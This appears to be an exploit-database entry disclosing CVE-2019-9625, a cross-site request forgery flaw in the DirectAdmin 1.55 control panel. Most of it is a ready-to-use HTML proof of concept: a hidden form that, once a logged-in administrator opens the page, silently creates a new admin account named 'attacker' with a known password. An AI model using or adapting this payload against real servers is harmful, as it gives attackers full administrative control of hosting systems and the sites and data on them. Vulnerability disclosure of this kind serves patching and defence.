ExploitFixes
DirectAdmin 1.55 - 'CMD_ACCOUNT_ADMIN' Cross-Site Request Forgery 2019-03-08 16:05:03

# Exploit title: DirectAdmin v1.55 - CSRF via CMD_ACCOUNT_ADMIN Admin Panel
# Date: 03/03/2019
# Exploit Author: ManhNho
# Vendor Homepage: https://www.directadmin.com/
# Software Link: https://www.directadmin.com/
# Demo Link: https://www.directadmin.com:2222/CMD_ACCOUNT_ADMIN
# Version: 1.55
# CVE: CVE-2019-9625
# Tested on: Windows 10 / Kali Linux
# Category: Webapps


#1. Description
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DirectAdmin v 1.55 have CSRF via CMD_ACCOUNT_ADMIN Admin Panel lead to
create new admin account

#2. PoC
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a) Send below crafted request to logged in user who is having admin
Administrator level access

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://server:2222/CMD_ACCOUNT_ADMIN" method="POST">
<input type="hidden" name="fakeusernameremembered" value="" />
<input type="hidden" name="fakepasswordremembered" value="" />
<input type="hidden" name="action" value="create" />
<input type="hidden" name="username" value="attacker" />
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="passwd" value="123456" />
<input type="hidden" name="passwd2" value="123456" />
<input type="hidden" name="notify" value="yes" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>


b) Once the logged in user opens the URL the form will get submitted
with active session of administrator and action get performed
successfully.

#3. References

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https://github.com/ManhNho/CVEs/blob/master/New-Requests/DirectAdmin-CSRF

https://nvd.nist.gov/vuln/detail/CVE-2019-9625